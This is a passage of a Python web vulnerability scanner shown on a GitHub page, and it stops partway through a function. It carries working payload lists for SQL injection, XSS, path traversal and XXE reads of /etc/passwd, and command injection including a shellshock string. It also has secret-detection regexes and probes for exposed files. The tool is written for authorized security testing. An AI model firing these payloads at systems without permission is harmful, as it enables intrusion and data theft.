-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathweb_analyzer_advanced.py
More file actions
1527 lines (1334 loc) · 70.5 KB
/
Copy pathweb_analyzer_advanced.py
File metadata and controls
1527 lines (1334 loc) · 70.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
"""
web_analyzer_advanced.py — concurrent web vulnerability scanner with smart deduplication,
config-file support, rich terminal output, and hint-based detection for advanced checks.
Usage:
python web_analyzer_advanced.py <url> [options]
python web_analyzer_advanced.py --config scan.yaml
python web_analyzer_advanced.py --init-config scan.yaml # generate example config
⚠️ IMPORTANT: Only test applications you own or have explicit written permission to test.
Unauthorized scanning is illegal and unethical.
Dependencies:
pip install requests beautifulsoup4 rich pyyaml dnspython
"""
import sys
import argparse
import json
import time
import re
import hashlib
import html
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urljoin, urlparse, parse_qs, urlencode
from pathlib import Path
from http.cookiejar import MozillaCookieJar
import requests
from bs4 import BeautifulSoup, Comment
try:
import yaml
YAML_AVAILABLE = True
except ImportError:
YAML_AVAILABLE = False
try:
from rich.console import Console
from rich.progress import Progress, SpinnerColumn, BarColumn, TextColumn, TimeElapsedColumn
from rich.table import Table
from rich.panel import Panel
RICH_AVAILABLE = True
except ImportError:
RICH_AVAILABLE = False
try:
import dns.resolver
import dns.exception
DNS_AVAILABLE = True
except ImportError:
DNS_AVAILABLE = False
console = Console() if RICH_AVAILABLE else None
# ══════════════════════════════════════════════════════════════════
# PAYLOADS
# ══════════════════════════════════════════════════════════════════
SQLI_ERROR_PAYLOADS = [
"'", '"',
"' OR '1'='1' -- ", '" OR "1"="1" -- ',
"' UNION SELECT NULL-- ", "' OR 1=1-- -",
"' OR '1'='1' /*", "' OR 1=1#",
"' UNION SELECT 1,2,3-- -",
"%27%20OR%201=1-- -",
"' union select 1,'user','pass' 1--",
"admin'-- ", "' OR ''='",
]
SQLI_TIME_PAYLOADS = [
"' OR SLEEP(5)-- ", '" OR SLEEP(5)-- ',
"1' AND SLEEP(3)-- -", '1" AND SLEEP(3)-- -',
" and 0=benchmark(3000000,MD5(1))-- ",
"' and 0=benchmark(3000000,MD5(1))-- ",
"1; WAITFOR DELAY '0:0:5'-- ", # MSSQL
"'; SELECT pg_sleep(5)-- ", # PostgreSQL
]
XSS_PAYLOADS = [
'<script>__PAYLOAD__</script>',
'"><script>__PAYLOAD__</script>',
"'><img src=x onerror=__PAYLOAD__>",
'<svg/onload=__PAYLOAD__>',
"<details open ontoggle=__PAYLOAD__>",
"<input autofocus onfocus=__PAYLOAD__>",
"<img src=1 onerror=alert(document.domain)>",
'"><svg><script>__PAYLOAD__</script>',
"<body onload=__PAYLOAD__>",
]
XSS_TEST_EXPR = "alert(1337)"
LFI_PAYLOADS = [
"../../etc/passwd", "../../../../etc/passwd",
"../../../../../../etc/passwd",
"..%2F..%2F..%2Fetc/passwd",
"%2e%2e/%2e%2e/%2e%2e/etc/passwd",
"php://filter/convert.base64-encode/resource=index.php",
"....//....//etc/passwd",
"../../../../../../../../windows/win.ini",
]
CMD_INJECTION = [
";id", "|id", "`id`", "$(id)",
";sleep 3;", "& sleep 3 &", "| sleep 3",
";whoami", ";uname -a",
"() { :;}; /bin/bash -c \"sleep 3\"", # shellshock
]
SSTI_PAYLOADS = ["{{7*7}}", "${7*7}", "#{7*7}", "{{7*'7'}}", "<%= 7*7 %>"]
XXE_PAYLOADS = [
'<?xml version="1.0"?><!DOCTYPE data [<!ENTITY file SYSTEM "file:///etc/passwd">]><data>&file;</data>',
'<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>',
]
OPEN_REDIRECT_PARAMS = [
"redirect", "url", "next", "goto", "return", "target",
"dest", "destination", "rurl", "redirect_uri", "continue",
"returnto", "return_url", "forward",
]
COMMON_FILES = [
".git/HEAD", ".git/config", ".env", ".env.backup", ".env.local",
"config.php", "phpinfo.php", "adminer.php", "phpmyadmin/",
"backup.zip", "backup.tar.gz", "db.sql", "dump.sql",
"robots.txt", "sitemap.xml", ".htaccess", ".htpasswd",
"wp-config.php", "wp-config.php.bak", "web.config",
".DS_Store", "crossdomain.xml", "clientaccesspolicy.xml",
"server-status", "server-info",
"swagger.json", "swagger.yaml", "openapi.json",
"api/swagger.json", "v1/swagger.json", "v2/swagger.json",
"actuator", "actuator/health", "actuator/env", # Spring Boot
"debug/", "console/", "trace", "elmah.axd",
]
# (regex_pattern, human_readable_label)
JS_SECRET_PATTERNS = [
(r"api[_-]?key\s*[:=]\s*['\"]?([A-Za-z0-9\-_]{16,})['\"]?", "API Key"),
(r"access[_-]?token\s*[:=]\s*['\"]?([A-Za-z0-9\.\-_]{16,})['\"]?", "Access Token"),
(r"secret\s*[:=]\s*['\"]?([A-Za-z0-9\-_]{16,})['\"]?", "Secret"),
(r"aws_secret_access_key\s*[:=]\s*['\"]?([A-Za-z0-9/+]{40})['\"]?","AWS Secret Key"),
(r"(password|passwd|pwd)\s*[:=]\s*['\"][^'\"]{4,}['\"]", "Hardcoded Password"),
(r"private[_-]?key\s*[:=]\s*['\"]?-----BEGIN", "Private Key"),
(r"(ghp|gho|ghu|ghs|ghr)_[A-Za-z0-9]{36}", "GitHub Token"),
(r"eyJ[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+", "JWT Token"),
(r"AKIA[0-9A-Z]{16}", "AWS Access Key ID"),
(r"AIza[0-9A-Za-z\-_]{35}", "Google API Key"),
]
SQL_ERROR_SIGS = [
"you have an error in your sql", "warning: mysql",
"unclosed quotation mark", "pdoexception", "sql syntax",
"mysql_fetch", "unknown column", "ora-", "pg_query",
"sqlite3.operationalerror", "microsoft ole db provider for sql",
"odbc sql server driver", "[microsoft][odbc",
"supplied argument is not a valid mysql",
]
SECURITY_HEADERS = [
"Content-Security-Policy", "X-Frame-Options",
"X-Content-Type-Options", "Strict-Transport-Security",
"Referrer-Policy", "Permissions-Policy",
]
# Subdomain takeover: maps CNAME suffix → (service name, error page signature)
TAKEOVER_SIGNATURES = {
"github.io": ("GitHub Pages", "There isn't a GitHub Pages site here"),
"herokuapp.com": ("Heroku", "No such app"),
"shopify.com": ("Shopify", "Sorry, this shop is currently unavailable"),
"azurewebsites.net": ("Azure", "404 Web Site not found"),
"cloudapp.net": ("Azure", "404 Web Site not found"),
"amazonaws.com": ("AWS S3", "NoSuchBucket"),
"s3.amazonaws.com": ("AWS S3", "NoSuchBucket"),
"bitbucket.io": ("Bitbucket", "Repository not found"),
"fastly.net": ("Fastly", "Fastly error: unknown domain"),
"pantheonsite.io": ("Pantheon", "404 error unknown site"),
"readthedocs.io": ("ReadTheDocs", "unknown to Read the Docs"),
"surge.sh": ("Surge", "project not found"),
"netlify.com": ("Netlify", "Not Found"),
"webflow.io": ("Webflow", "The page you are looking for doesn't exist"),
"zendesk.com": ("Zendesk", "Help Center Closed"),
"ghost.io": ("Ghost", "Used at"),
}
# HTTP methods that are unusual/dangerous on typical web apps
DANGEROUS_METHODS = ["TRACE", "TRACK", "PUT", "DELETE", "CONNECT", "PATCH"]
# ══════════════════════════════════════════════════════════════════
# DEFAULT CONFIG
# ══════════════════════════════════════════════════════════════════
DEFAULT_CONFIG = {
"max_tests": 300,
"workers": 10,
"timeout": 12,
"output": "web_scan_report.html",
"follow_redirects": True,
"payloads": {
"sqli": True, "xss": True, "lfi": True,
"cmd": True, "ssti": True, "xxe": True,
},
"checks": {
"http_methods": True,
"idor_hints": True,
"subdomain_takeover": True,
"directory_listing": True,
"comments": True,
"cors": True,
"mixed_content": True,
"clickjacking": True,
},
}
def load_config(path: str) -> dict:
p = Path(path)
if not p.exists():
_die(f"Config file not found: {path}")
with open(p) as fh:
if YAML_AVAILABLE and p.suffix in (".yaml", ".yml"):
raw = yaml.safe_load(fh)
else:
raw = json.load(fh)
cfg = dict(DEFAULT_CONFIG)
cfg.update(raw or {})
cfg["payloads"] = {**DEFAULT_CONFIG["payloads"], **cfg.get("payloads", {})}
cfg["checks"] = {**DEFAULT_CONFIG["checks"], **cfg.get("checks", {})}
return cfg
def save_example_config(path: str = "scan.yaml"):
example = {
"url": "https://target.example.com",
"max_tests": 300,
"workers": 10,
"timeout": 12,
"output": "report.html",
"follow_redirects": True,
# ── Cookie options (use ONE or combine) ────────────────────
# Raw string — works for any site that uses standard Set-Cookie headers
"cookie": "session=abc123; csrftoken=xyz",
# JSON file export (from browser devtools / EditThisCookie extension)
# "cookie_json": "cookies.json",
# Netscape/curl cookie jar (from: curl --cookie-jar cookies.txt ...)
# "cookiejar": "cookies.txt",
# ── Custom request headers ─────────────────────────────────
# Useful for APIs, Bearer tokens, custom auth schemes
"headers": {
"Authorization": "Bearer <your_token_here>",
# "X-API-Key": "your_api_key",
# "X-Custom-Header": "value",
},
# ── Login form automation ──────────────────────────────────
"login_url": "/login",
"username_field": "username",
"password_field": "password",
"username": "admin",
"password": "password",
# ── Payload toggles ────────────────────────────────────────
"payloads": {
"sqli": True, "xss": True, "lfi": True,
"cmd": True, "ssti": True, "xxe": False,
},
# ── Check toggles ──────────────────────────────────────────
"checks": {
"http_methods": True,
"idor_hints": True,
"subdomain_takeover": True,
"directory_listing": True,
"comments": True,
"cors": True,
"mixed_content": True,
"clickjacking": True,
},
}
text = (yaml.dump(example, default_flow_style=False, sort_keys=False)
if YAML_AVAILABLE else json.dumps(example, indent=2))
with open(path, "w") as fh:
fh.write(text)
_ok(f"Example config written to: {path}")
# ══════════════════════════════════════════════════════════════════
# TERMINAL HELPERS
# ══════════════════════════════════════════════════════════════════
def _die(msg):
(console.print(f"[bold red]✖ {msg}[/]") if RICH_AVAILABLE
else print(f"✖ {msg}", file=sys.stderr))
sys.exit(1)
def _info(msg):
console.print(f"[cyan]{msg}[/]") if RICH_AVAILABLE else print(msg)
def _warn(msg):
console.print(f"[yellow]⚠ {msg}[/]") if RICH_AVAILABLE else print(f"⚠ {msg}")
def _ok(msg):
console.print(f"[green]✔ {msg}[/]") if RICH_AVAILABLE else print(f"✔ {msg}")
def _hint(location, hint):
if RICH_AVAILABLE:
console.print(f" [bold magenta][HINT][/] [white]{hint}[/] [dim]→ {location[:70]}[/]")
else:
print(f" [HINT] {hint} → {location[:70]}")
def snippet(text, length=300):
if not text:
return ""
return re.sub(r"\s+", " ", text)[:length] + ("…" if len(text) > length else "")
def vuln_fp(name, evidence):
return hashlib.sha1(f"{name}|{evidence[:120]}".encode()).hexdigest()
# ══════════════════════════════════════════════════════════════════
# COOKIE / AUTH PARSING
# ══════════════════════════════════════════════════════════════════
def parse_cookie_string(s: str) -> dict:
"""
Parse any of these formats into a dict:
- "session=abc; csrf=xyz" (standard Set-Cookie string)
- "session=abc" (single pair)
- "Bearer abc123" (treated as Authorization value, skipped here)
"""
cookies = {}
for part in s.split(";"):
part = part.strip()
if "=" in part:
k, v = part.split("=", 1)
cookies[k.strip()] = v.strip()
return cookies
def parse_cookie_json(path: str) -> dict:
"""
Accepts two common JSON cookie export formats:
1. Simple dict: {"name": "value", ...}
2. Browser/EditThisCookie list:
[{"name": "n", "value": "v", "domain": "...", ...}, ...]
3. Puppeteer / Playwright format — same as (2).
"""
with open(path) as fh:
data = json.load(fh)
if isinstance(data, dict):
return {k: str(v) for k, v in data.items()}
if isinstance(data, list):
result = {}
for item in data:
n = item.get("name") or item.get("Name") or ""
v = item.get("value") or item.get("Value") or ""
if n:
result[n] = str(v)
return result
_warn(f"Unrecognised JSON cookie format in {path} — skipping.")
return {}
def parse_cookiejar(path: str) -> dict:
"""Parse a Netscape/Mozilla/curl cookie jar file."""
jar = MozillaCookieJar(path)
try:
jar.load(ignore_discard=True, ignore_expires=True)
except Exception as e:
_warn(f"Could not load cookie jar '{path}': {e}")
return {}
return {c.name: c.value for c in jar}
def collect_cookies(cfg: dict, args) -> dict:
"""
Merge all cookie sources. Priority (lowest → highest):
cookiejar file < JSON file < raw cookie string(s) < CLI --cookie flags
This means CLI always wins, so testers can override config per-run.
"""
merged = {}
jar_path = cfg.get("cookiejar") or getattr(args, "cookiejar", None)
if jar_path:
data = parse_cookiejar(jar_path)
merged.update(data)
_info(f"Loaded {len(data)} cookie(s) from cookiejar: {jar_path}")
json_path = cfg.get("cookie_json") or getattr(args, "cookie_json", None)
if json_path:
data = parse_cookie_json(json_path)
merged.update(data)
_info(f"Loaded {len(data)} cookie(s) from JSON file: {json_path}")
raw_list = []
if cfg.get("cookie"):
raw_list.append(cfg["cookie"])
cli = getattr(args, "cookie", None) or []
if isinstance(cli, str):
cli = [cli]
raw_list.extend(cli)
for raw in raw_list:
merged.update(parse_cookie_string(raw))
return merged
def collect_headers(cfg: dict, args) -> dict:
"""Merge custom headers from config file and --header CLI flags."""
merged = dict(cfg.get("headers") or {})
for h in (getattr(args, "header", None) or []):
if ":" in h:
k, v = h.split(":", 1)
merged[k.strip()] = v.strip()
else:
_warn(f"Ignoring malformed --header '{h}' (expected 'Name: Value')")
return merged
# ══════════════════════════════════════════════════════════════════
# THREAD-SAFE HTTP SESSION
# ══════════════════════════════════════════════════════════════════
class SafeSession:
def __init__(self, timeout=12, extra_headers=None):
self.timeout = timeout
self._s = requests.Session()
self._s.headers.update({
"User-Agent": "Mozilla/5.0 (compatible; WebAnalyzer/3.0; authorized-testing)",
})
if extra_headers:
self._s.headers.update(extra_headers)
def set_cookies(self, cookies: dict):
for k, v in cookies.items():
self._s.cookies.set(k, v)
@property
def cookies(self):
return self._s.cookies
def _req(self, fn, *a, **kw):
try:
t0 = time.monotonic()
r = fn(*a, timeout=self.timeout, **kw)
r._elapsed_sec = time.monotonic() - t0
return r
except Exception:
return None
def get(self, url, allow_redirects=False, **kw):
return self._req(self._s.get, url, allow_redirects=allow_redirects, **kw)
def post(self, url, data=None, allow_redirects=False, **kw):
return self._req(self._s.post, url, data=data, allow_redirects=allow_redirects, **kw)
def options(self, url, **kw):
return self._req(self._s.options, url, allow_redirects=False, **kw)
# ══════════════════════════════════════════════════════════════════
# MAIN ANALYZER
# ══════════════════════════════════════════════════════════════════
class WebAnalyzer:
def __init__(self, base_url: str, cfg: dict):
self.base_url = base_url.rstrip("/")
self.parsed = urlparse(self.base_url)
self.cfg = cfg
self.workers = cfg.get("workers", 10)
self.max_tests = cfg.get("max_tests", 300)
self.checks = cfg.get("checks", DEFAULT_CONFIG["checks"])
self.http = SafeSession(
timeout=cfg.get("timeout", 12),
extra_headers=cfg.get("_extra_headers", {}),
)
self._tests_lock = threading.Lock()
self._tests_count = 0
self._vuln_lock = threading.Lock()
self._seen_fps: set = set()
self.report = {
"url": self.base_url,
"status": None,
"headers": {},
"cookies": [],
"links": {"internal": [], "external": []},
"forms": [],
"js_files": [],
"javascript_findings": [],
"interesting_files": {},
"vulnerabilities": [], # confirmed/likely findings
"hints": [], # investigation hints — no exploitable data shown
"login": {},
"missing_security_headers": [],
"http_methods": {},
"idor_hints": [],
"subdomain_hints": [],
}
# ── Request budget ────────────────────────────────────────────
def _increment(self) -> bool:
with self._tests_lock:
if self._tests_count >= self.max_tests:
return False
self._tests_count += 1
return True
@property
def tests_performed(self):
with self._tests_lock:
return self._tests_count
# ── Recording helpers ─────────────────────────────────────────
def _add_vuln(self, name, evidence="", severity="medium", **extra):
fp = vuln_fp(name, evidence)
with self._vuln_lock:
if fp in self._seen_fps:
return
self._seen_fps.add(fp)
self.report["vulnerabilities"].append(
{"name": name, "evidence": evidence, "severity": severity, **extra}
)
if RICH_AVAILABLE:
colors = {"high": "bold red", "medium": "yellow", "low": "dim cyan"}
col = colors.get(severity, "white")
console.print(f" [{col}][{severity.upper()}][/] [white]{name}[/] — [dim]{evidence[:80]}[/]")
else:
print(f" [{severity.upper()}] {name} — {evidence[:80]}")
def _add_hint(self, location, hint, reason=""):
"""
A hint tells the tester WHERE to look and WHY — without
disclosing raw server data, exploitable payloads, or
confirming a vulnerability exists.
"""
fp = vuln_fp(f"HINT:{hint}", location)
with self._vuln_lock:
if fp in self._seen_fps:
return
self._seen_fps.add(fp)
self.report["hints"].append({"location": location, "hint": hint, "reason": reason})
_hint(location, hint)
# ── Active payload list ───────────────────────────────────────
def _active_payloads(self):
p = self.cfg.get("payloads", {})
out = []
if p.get("sqli", True): out += SQLI_ERROR_PAYLOADS + SQLI_TIME_PAYLOADS
if p.get("xss", True): out += XSS_PAYLOADS
if p.get("lfi", True): out += LFI_PAYLOADS
if p.get("cmd", True): out += CMD_INJECTION
if p.get("ssti", True): out += SSTI_PAYLOADS
if p.get("xxe", True): out += XXE_PAYLOADS
return out
# ─────────────────────────────────────────────────────────────
# PHASE 1 — Fetch root
# ─────────────────────────────────────────────────────────────
def fetch_root(self):
r = self.http.get(self.base_url, allow_redirects=True)
if not r:
_die("Target unreachable.")
self.report["status"] = r.status_code
self.report["headers"] = dict(r.headers)
for c in self.http.cookies:
self.report["cookies"].append(f"{c.name}={c.value}")
return r
# ─────────────────────────────────────────────────────────────
# PHASE 2 — Header analysis
# ─────────────────────────────────────────────────────────────
def analyze_headers(self, r):
h = dict(r.headers)
# CORS
if self.checks.get("cors", True):
if h.get("Access-Control-Allow-Origin") == "*":
self._add_vuln("Wildcard CORS", h.get("Access-Control-Allow-Origin", ""),
severity="medium", url=self.base_url)
# Cookie flags
ck = h.get("set-cookie", "")
if ck:
low = ck.lower()
if "httponly" not in low:
self._add_vuln("Cookie Missing HttpOnly", snippet(ck, 120),
severity="medium", url=self.base_url)
if "secure" not in low:
self._add_vuln("Cookie Missing Secure Flag", snippet(ck, 120),
severity="medium", url=self.base_url)
if "samesite" not in low:
self._add_vuln("Cookie Missing SameSite", snippet(ck, 120),
severity="low", url=self.base_url)
# Information disclosure
for disc in ("Server", "X-Powered-By", "X-AspNet-Version",
"X-Generator", "X-Drupal-Cache", "X-WordPress-Cache"):
val = h.get(disc, "")
if val:
self._add_vuln(f"{disc} Version Disclosed", val,
severity="low", url=self.base_url)
# Missing security headers
missing = [sh for sh in SECURITY_HEADERS if sh not in h]
if missing:
self.report["missing_security_headers"] = missing
self._add_vuln("Missing Security Headers", ", ".join(missing),
severity="low", url=self.base_url)
# Clickjacking
if self.checks.get("clickjacking", True):
xfo = h.get("X-Frame-Options", "")
csp = h.get("Content-Security-Policy", "")
if not xfo and "frame-ancestors" not in csp.lower():
self._add_vuln("No Clickjacking Protection",
"X-Frame-Options absent; CSP frame-ancestors not set",
severity="medium", url=self.base_url)
# ─────────────────────────────────────────────────────────────
# PHASE 3 — HTML parsing
# ─────────────────────────────────────────────────────────────
def analyze_html(self, r):
soup = BeautifulSoup(r.text, "html.parser")
base_netloc = self.parsed.netloc
# Links
for a in soup.find_all("a", href=True):
href = a["href"]
full = urljoin(self.base_url, href)
bucket = "internal" if urlparse(full).netloc == base_netloc else "external"
if full not in self.report["links"][bucket]:
self.report["links"][bucket].append(full)
if any(f"{p}=" in href.lower() for p in OPEN_REDIRECT_PARAMS):
self._add_vuln("Possible Open Redirect Parameter", href,
severity="medium", url=full)
# Forms — look for CSRF token presence
for form in soup.find_all("form"):
entry = {
"action": form.get("action"),
"method": form.get("method", "get").lower(),
"inputs": [],
"has_csrf_token": False,
}
for inp in form.find_all(["input", "textarea", "select"]):
name = inp.get("name") or inp.get("id") or ""
typ = inp.get("type", "text")
if typ == "hidden" and any(
kw in name.lower() for kw in ("csrf", "token", "nonce", "_wpnonce")
):
entry["has_csrf_token"] = True
entry["inputs"].append({"name": name, "type": typ})
if not entry["has_csrf_token"] and entry["method"] == "post":
action_url = urljoin(self.base_url + "/", entry.get("action") or "")
self._add_hint(
action_url,
"POST form with no visible CSRF token — test manually for CSRF vulnerability",
"No hidden input matching common CSRF token names (csrf, token, nonce) was found. "
"This does not confirm vulnerability — server-side or header-based CSRF "
"protection may still be in place."
)
self.report["forms"].append(entry)
# JS files
for s in soup.find_all("script", src=True):
src = urljoin(self.base_url, s["src"])
if src not in self.report["js_files"]:
self.report["js_files"].append(src)
# Inline JS secrets
for s in soup.find_all("script"):
if not s.string:
continue
for pat, label in JS_SECRET_PATTERNS:
if re.search(pat, s.string, re.IGNORECASE):
self._add_vuln(f"Possible {label} in Inline JS",
"[value redacted — inspect page source manually]",
severity="high", url=self.base_url)
# HTML comments with sensitive keywords
if self.checks.get("comments", True):
for comment in soup.find_all(string=lambda t: isinstance(t, Comment)):
low = comment.lower()
if any(kw in low for kw in
("password", "secret", "token", "key", "todo", "fixme",
"debug", "credentials", "admin", "hack")):
self._add_hint(
self.base_url,
"Sensitive keyword in HTML comment — review page source",
"Keywords like password/secret/token/debug were found inside HTML comments. "
"Comments are visible to anyone who views page source."
)
# Mixed content
if self.checks.get("mixed_content", True) and self.parsed.scheme == "https":
for tag in soup.find_all(["img", "script", "link", "iframe", "form"]):
for attr in ("src", "href", "action"):
val = tag.get(attr, "")
if val.startswith("http://"):
self._add_vuln("Mixed Content (HTTP resource on HTTPS page)",
val[:100], severity="medium", url=self.base_url)
break
# IDOR hints from discovered links
if self.checks.get("idor_hints", True):
self._find_idor_hints()
# ─────────────────────────────────────────────────────────────
# IDOR hints — flag locations worth testing, never exploit
# ─────────────────────────────────────────────────────────────
def _find_idor_hints(self):
"""
Detects URLs containing numeric IDs that could be worth testing
for Insecure Direct Object References (IDOR).
Strategy: pattern-match only. Never fetch with alternative IDs.
Report as hints so the tester makes the call.
"""
param_pattern = re.compile(
r'[?&](id|user_?id|uid|account_?id|order_?id|invoice_?id|'
r'file_?id|doc_?id|record_?id|profile_?id|customer_?id)=(\d+)',
re.IGNORECASE
)
path_pattern = re.compile(r'/(\d{2,10})(?:/|$|\?)')
seen = set()
for link in self.report["links"]["internal"]:
# Parameter-based IDs
m = param_pattern.search(link)
if m and m.group(0) not in seen:
seen.add(m.group(0))
self.report["idor_hints"].append(link)
self._add_hint(
link,
f"Numeric parameter '{m.group(1)}={m.group(2)}' — test for IDOR manually",
f"Replace '{m.group(2)}' with another user's ID while authenticated "
f"and check if you can access their data. This requires manual testing."
)
# Path-based IDs e.g. /users/42/profile
m2 = path_pattern.search(urlparse(link).path)
if m2 and f"path:{m2.group(1)}" not in seen:
seen.add(f"path:{m2.group(1)}")
self.report["idor_hints"].append(link)
self._add_hint(
link,
f"Numeric path segment '/{m2.group(1)}/' — test for IDOR manually",
f"Try substituting the value {m2.group(1)} with other integers "
f"in an authenticated session to check whether access controls are enforced."
)
# ─────────────────────────────────────────────────────────────
# PHASE 4 — JS file scanning
# ─────────────────────────────────────────────────────────────
def _scan_single_js(self, url):
if not self._increment():
return
r = self.http.get(url, allow_redirects=True)
if not r:
return
for pat, label in JS_SECRET_PATTERNS:
if re.search(pat, r.text, re.IGNORECASE):
self.report["javascript_findings"].append({"file": url, "type": label})
self._add_vuln(f"Possible {label} in JS File",
"[value redacted — inspect file manually]",
severity="high", url=url)
def scan_js_files(self, prog=None, task=None):
with ThreadPoolExecutor(max_workers=self.workers) as ex:
futs = {ex.submit(self._scan_single_js, u): u
for u in list(set(self.report["js_files"]))}
for f in as_completed(futs):
f.result()
if prog and task is not None:
prog.advance(task)
# ─────────────────────────────────────────────────────────────
# PHASE 5 — Common file probing
# ─────────────────────────────────────────────────────────────
def _probe_file(self, filename):
if not self._increment():
return
url = f"{self.base_url}/{filename.lstrip('/')}"
r = self.http.get(url, allow_redirects=True)
if r and r.status_code == 200:
self.report["interesting_files"][filename] = "Found (HTTP 200)"
self._add_vuln("Exposed Sensitive File/Path", filename,
severity="high", url=url)
if self.checks.get("directory_listing", True):
body = r.text or ""
if "Index of /" in body or "Directory listing for" in body:
self._add_vuln("Directory Listing Enabled", filename,
severity="medium", url=url)
def scan_common_files(self, prog=None, task=None):
with ThreadPoolExecutor(max_workers=self.workers) as ex:
futs = {ex.submit(self._probe_file, f): f for f in COMMON_FILES}
for f in as_completed(futs):
f.result()
if prog and task is not None:
prog.advance(task)
# ─────────────────────────────────────────────────────────────
# PHASE 6 — HTTP method audit (hint-only)
# ─────────────────────────────────────────────────────────────
def _audit_methods_for(self, url):
"""
Sends OPTIONS to discover what methods the server reports as allowed.
Never sends TRACE/PUT/DELETE etc. — only reads the Allow header.
Reports as hints: the tester decides what to do with the information.
"""
if not self._increment():
return
r = self.http.options(url)
if not r:
return
allowed_raw = (r.headers.get("Allow", "") or
r.headers.get("Access-Control-Allow-Methods", ""))
if not allowed_raw:
return
allowed = [m.strip().upper() for m in allowed_raw.split(",")]
self.report["http_methods"][url] = allowed
dangerous = [m for m in allowed if m in DANGEROUS_METHODS]
if dangerous:
self._add_hint(
url,
f"Unusual HTTP method(s) reported: {dangerous} — verify manually",
f"The OPTIONS response at this endpoint lists: {allowed_raw}. "
f"Methods like TRACE, PUT, DELETE may indicate misconfiguration but "
f"servers sometimes advertise methods that are not truly accessible. "
f"Send a manual request with the method in question and observe the response."
)
if "TRACE" in allowed:
self._add_hint(
url,
"TRACE method may be enabled — assess Cross-Site Tracing (XST) risk",
"XST can allow theft of HttpOnly cookies in certain browser/proxy environments. "
"Confirm by sending a manual TRACE request and checking whether request headers "
"(including cookies) are echoed back in the response body."
)
def audit_http_methods(self, prog=None, task=None):
if not self.checks.get("http_methods", True):
return
urls = [self.base_url]
seen_paths = {self.parsed.path}
for link in self.report["links"]["internal"]:
path = urlparse(link).path
if path not in seen_paths:
seen_paths.add(path)
urls.append(link)
if len(urls) >= 8:
break
with ThreadPoolExecutor(max_workers=self.workers) as ex:
futs = {ex.submit(self._audit_methods_for, u): u for u in urls}
for f in as_completed(futs):
f.result()
if prog and task is not None:
prog.advance(task)
# ─────────────────────────────────────────────────────────────
# PHASE 7 — Subdomain takeover signals (hint-only)
# ─────────────────────────────────────────────────────────────
def check_subdomain_takeover(self, prog=None, task=None):
"""
Checks DNS CNAME chain for patterns matching known dangling-service signatures.
